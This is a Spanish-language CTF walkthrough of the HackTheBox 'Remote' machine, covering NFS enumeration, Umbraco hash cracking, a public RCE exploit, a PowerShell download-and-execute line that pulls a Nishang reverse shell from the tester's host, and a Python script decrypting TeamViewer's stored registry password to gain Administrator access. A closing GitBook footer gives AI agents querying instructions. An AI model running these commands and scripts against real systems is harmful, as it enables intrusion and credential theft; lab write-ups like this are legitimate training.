> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/writeups-ctf/hackthebox/windows-easy/remote-hackthebox-writeup.md).

# Writeup de Remote en HackTheBox

{% embed url="<https://app.hackthebox.com/machines/234>" %}

{% hint style="warning" %}
**Habilidades**:

* Enumeración web
* Enumeración NFS - Showmount
* Fuga de información
* Abusando del panel de administración de Umbraco
* Umbraco CMS - Ejecución remota de código por administradores autenticados
* Obtención de la contraseña de TeamViewer de los registros del sistema (AES128 - CBC) (Escalada de privilegios)
  {% endhint %}

## Reconocimiento

**Configuración del espacio de trabajo:**

Configura el espacio de trabajo creando tres carpetas para almacenar contenido importante, exploits y resultados de reconocimiento de Nmap.

<figure><img src="/files/a1ddfaed3b796428c3676144c6c253f89af1378e" alt="" width="563"><figcaption></figcaption></figure>

**Comprobación de conectividad VPN**

Comprueba la conectividad VPN para asegurar una comunicación estable con la máquina objetivo.

<figure><img src="/files/fecf70503205cac709d3cc0e5794c94d0cff2d3c" alt="" width="563"><figcaption></figcaption></figure>

**Descubrimiento de puertos abiertos con Nmap:**/ Enumerar los puertos abiertos y exportar los resultados al archivo "allPorts" en el directorio de Nmap:

```bash
nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.10.10.180 -oG allPorts
```

<figure><img src="/files/dc754456c2dfbed7cfbbf0c7237cc1da7b078389" alt=""><figcaption></figcaption></figure>

**Análisis de puertos abiertos con extractport:**/ Usando la función extractport para mostrar de forma concisa los puertos abiertos y copiarlos al portapapeles.

<figure><img src="/files/852c5a0c2073d6ee78b7d1b3cc8da6349b2a232c" alt=""><figcaption></figcaption></figure>

**Escaneo de versión de puertos con Nmap:**/ Usar Nmap para escanear las versiones de los servicios y guardar la salida en el archivo "targeted":

```bash
nmap -sCV -p21,80,111,135,139,445,2049,5985,47001,49664,49665,49666,49667,49678,49679,49680 10.10.10.180 -oN targeted
```

<figure><img src="/files/7adb0b13697cd78f826b78d15156529a859cf7af" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/87b00c65fefb88896405c9134337d025d1d54c4a" alt=""><figcaption></figcaption></figure>

Para resolver nombres de dominio a direcciones IP mediante DNS, se inserta el nombre de dominio asociado con su dirección IP en el `/etc/hosts` archivo

<figure><img src="/files/ff54f20ec3b3ebbcde3ae61b3b3613a411822131" alt="" width="563"><figcaption></figcaption></figure>

### Web (puerto 80):

```bash
whatweb http://remote.htb
```

<div align="center" data-full-width="true"><figure><img src="/files/79fb932b92dfd08c89f63344ab709f5770e87386" alt=""><figcaption></figcaption></figure></div>

<figure><img src="/files/7234bab2638a54c9933325a7c6a3800a272a2958" alt=""><figcaption></figcaption></figure>

### SMB - puerto 445

Lista **SMB:**

```bash
crackmapexec smb 10.10.10.180
```

<div data-full-width="true"><figure><img src="/files/0a54c56d7eb1f23ace825107a3ee1876164c6209" alt=""><figcaption></figcaption></figure></div>

### **Cliente SMB (sesión nula) :**

```bash
smbclient -L 10.10.10.180 -N
```

<figure><img src="/files/e8410add6777f831850077d2d1f9c7eb63253603" alt=""><figcaption></figcaption></figure>

### FTP (21) anónimo

Tenemos la posibilidad de conectarnos por FTP con el usuario anónimo, pero no podemos ni listar ni añadir archivos.

```bash
ftp 10.10.10.180

put test.txt
```

<figure><img src="/files/443b9583692ed0a6df5d76fe82a78a16993262bf" alt=""><figcaption></figcaption></figure>

## Servicio NFS (puerto 2049)

{% hint style="info" %}
El Sistema de Archivos de Red (NFS) es un protocolo de nivel de aplicación del modelo OSI. Se utiliza para crear sistemas de archivos distribuidos en una red local, permitiendo que distintos sistemas conectados accedan a archivos remotos como si fueran locales.
{% endhint %}

Para listar los archivos con `mount`:

```bash
showmount -e 10.10.10.180
```

Vemos un `/site_backups` que puede ser visto por todos.

<figure><img src="/files/08a2706662cdd18f4e05eceded4976c8476412bb" alt="" width="563"><figcaption></figcaption></figure>

Para importar este archivo, hay que crear un directorio y montarlo en nuestra máquina de la siguiente manera:

```bash
mkdir /mnt/mounted_files

mount -t nfs 10.10.10.180:/site_backups /mnt/mounted_files
```

<figure><img src="/files/25f8c2522d6d1a6334e3828381f7325cea162791" alt=""><figcaption></figcaption></figure>

Con `tree`, listaremos todas las carpetas del árbol para hacernos una idea:

```
tree -L 2
```

Vemos un `.config` configuración y `sdf` carpeta de la base de datos de Umbraco (un CMS) del puerto 80.

<figure><img src="/files/7033e3091ab65a8ad86b18e380123fa41931c9bc" alt=""><figcaption></figcaption></figure>

El `.conf` el archivo no contiene nada interesante, y el `umbraco.sdf` es un archivo binario.

<figure><img src="/files/4db80122439f7109073df22733462dd97149feb6" alt=""><figcaption></figcaption></figure>

Usaremos `strings` para mostrar los caracteres visibles y colocarlos en nuestro directorio para un análisis detallado:

```bash
strings Umbraco.sdf > /home/jordan/Desktop/htb/remote/content/output
```

Encontramos contraseñas de "admin" y un usuario "smith".

<figure><img src="/files/fe794b3447ad9ca603ed0eac72b275a3fa977350" alt=""><figcaption></figcaption></figure>

### Crackeo de contraseñas:

Admin (hash): `b8be16afba8c314ad33d812f22a04991b90e2aaa`

{% embed url="<https://crackstation.net/>" %}

<figure><img src="/files/a10e41ce022c751eaa9fa29fb0a9cec528720bc4" alt=""><figcaption></figcaption></figure>

Admin: `baconandcheese`

#### Como SMB está expuesto, usamos CrackMapExec para autenticarnos y validar el acceso

```bash
crackmapexec smb 10.10.10.180 -u 'smith' -p 'baconandcheese'
crackmapexec smb 10.10.10.180 -u 'administrator' -p 'baconandcheese'
```

#### sin efecto

<figure><img src="/files/b4153794187aa84df4c7afcb9e99a82a68769a7c" alt=""><figcaption></figcaption></figure>

## Vulnerabilidad de RCE (Umbraco CMS)

Encontramos un panel de administración e intentaremos la autenticación del usuario admin:

`admin@htb.local:baconandcheese`

<figure><img src="/files/a285f963ba587ded0984be4764befbb5fbfc629b" alt=""><figcaption></figcaption></figure>

Tenemos acceso.

<figure><img src="/files/5af339d9ef8a2202151ec9eb5e37010a8080a187" alt=""><figcaption></figcaption></figure>

Buscaremos `Searchsploit` las vulnerabilidades de este CMS y encontramos un script NCE para Umbraco.

<figure><img src="/files/b86813b827b3b942fe3833de00291c061d4877a6" alt=""><figcaption></figcaption></figure>

`searchsploit -m aspx/webapps/46153.py`

Cambiaremos la configuración de inicio de sesión, contraseña y host en el script.

<figure><img src="/files/83c406c1e941ecefcc94195060de9bc3f927c2b5" alt="" width="563"><figcaption></figcaption></figure>

**Comprueba la conectividad con ping:**/ Ejecutaremos este comando en el servidor, y escucharemos con tcpdump

```bash
/c ping 10.10.14.6

tcpdump -i tun0 icmp
```

<figure><img src="/files/5da7d26e37ec5397be5c131062378e4b10f30ded" alt=""><figcaption></figcaption></figure>

Una vez que veamos que podemos ejecutar comandos, descargaremos el `PS.ps1` script a nuestro equipo.

{% embed url="<https://raw.githubusercontent.com/samratashok/nishang/refs/heads/master/Shells/Invoke-PowerShellTcp.ps1>" %}

Al final del script, añadimos la siguiente línea:

```bash
Invoke-PowerShellTcp -Reverse -IPAddress 10.10.14.6 -Port 4444
```

<figure><img src="/files/342d628098d16377a455c7f307c86bc33108b62c" alt="" width="563"><figcaption></figcaption></figure>

Crearemos un servidor web con el `PS.ps1` script:

```bash
python3 -m http.server 80
```

Luego modificaremos el comando para que apunte a nuestro servidor web:

{% code fullWidth="true" %}

```
/c powershell IEX(New-Object Net.WebClient).downloadString(/'http://10.10.14.6/PS.ps1/')
```

{% endcode %}

Finalmente, escuchamos en el puerto 4444:

```bash
rlwrap nc -nlvp 4444
```

<div data-full-width="true"><figure><img src="/files/8e2a165a70317833c700c0dabe5b467657379af0" alt=""><figcaption></figcaption></figure></div>

Acceso a `user.txt` archivo y al encontrar que TeamViewer está instalado

<figure><img src="/files/1b5bdd0efe9ef94d81effdc5367502c066341867" alt=""><figcaption></figcaption></figure>

## Escalada de privilegios:

Si miras las tareas en ejecución, puedes ver TeamViewer versión 7.

```powershell
tasklist /svc
```

<figure><img src="/files/f674cd19e5ff22a913b6b2528f542791d1bf2f3a" alt=""><figcaption></figcaption></figure>

Buscando en los scripts de Metasploit, encontramos uno que puede recuperar la contraseña de TeamViewer:

```powershell
locate teamviewer | grep metasploit
```

<figure><img src="/files/a17728dd527cec5c99ec5bde11c230ef448cbd97" alt=""><figcaption></figcaption></figure>

Al analizar el script, primero debes obtener la clave (según la versión) del registro:

`HKLM/SOFTWARE/WOW6432Node/TeamViewer/Version7', 'Version`

A continuación, deben examinarse las propiedades de seguridad, especialmente la contraseña AES:

```powershell
cd HKLM:SOFTWARE/WOW6432Node/TeamViewer//Version7

(Get-ItemProperty .).SecurityPasswordAES
```

<figure><img src="/files/11433e074d9908b7574c8511039f3bc9bdd9752b" alt=""><figcaption></figcaption></figure>

Pon los siguientes bytes en `texto cifrado`:

`255,155,28,115,214,107,206,49,172,65,62,174,19,27,70,79,88,47,108,226,209,225,243,218,126,141,55,107,38,57,78,91`

### Script de automatización en Python:

Aquí está el script que automatiza todo el proceso:

```python
from itertools import product
from Crypto.Cipher import AES 
import Crypto.Cipher.AES

IV = b"/x01/x00/x01/x00/x67/x24/x4F/x43/x6E/x67/x62/xF2/x5E/xA8/xD7/x04"
key = b"/x06/x02/x00/x00/x00/xa4/x00/x00/x52/x53/x41/x31/x00/x04/x00/x00"


decipher = AES.new(key,AES.MODE_CBC,IV)
ciphertext = bytes([255,155,28,115,214,107,206,49,172,65,62,174,19,27,70,79,88,47,108,226,209,225,243,218,126,141,55,107,38,57,78,91])


plaintext = decipher.decrypt(ciphertext).decode()
print(plaintext)
```

<figure><img src="/files/97e67263a8ad6113c5dc186a7544304fd9b51d62" alt=""><figcaption></figcaption></figure>

La contraseña es `!R3m0te!`.

Comprobaremos con CrackMapExec si la contraseña es correcta para el usuario `Administrator`:

```bash
crackmapexec smb 10.10.10.180 -u 'Administrator' -p '!R3m0te!'
```

<figure><img src="/files/e5d5828437584d6575d1a3e56d7a9d54bd7458f7" alt=""><figcaption></figcaption></figure>

Nos conectamos con Evil-WinRM, ya que el servicio remoto de administración de Windows está activo en el puerto 5985:

<pre class="language-bash"><code class="lang-bash"><strong>evil-winrm -i 10.10.10.180 -u 'Administrator' -p '!R3m0te!'
</strong></code></pre>

<figure><img src="/files/aaab75b3c1326d5a747a97a1acbbc4be9b996218" alt=""><figcaption></figcaption></figure>

### Bandera de root final :)

<figure><img src="/files/995ac77f556b53e272f997208d9ba343bdd6939a" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/1b519526c07e529875222f1f05f5b9d8bed6158e" alt="" width="529"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/es/writeups-ctf/hackthebox/windows-easy/remote-hackthebox-writeup.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
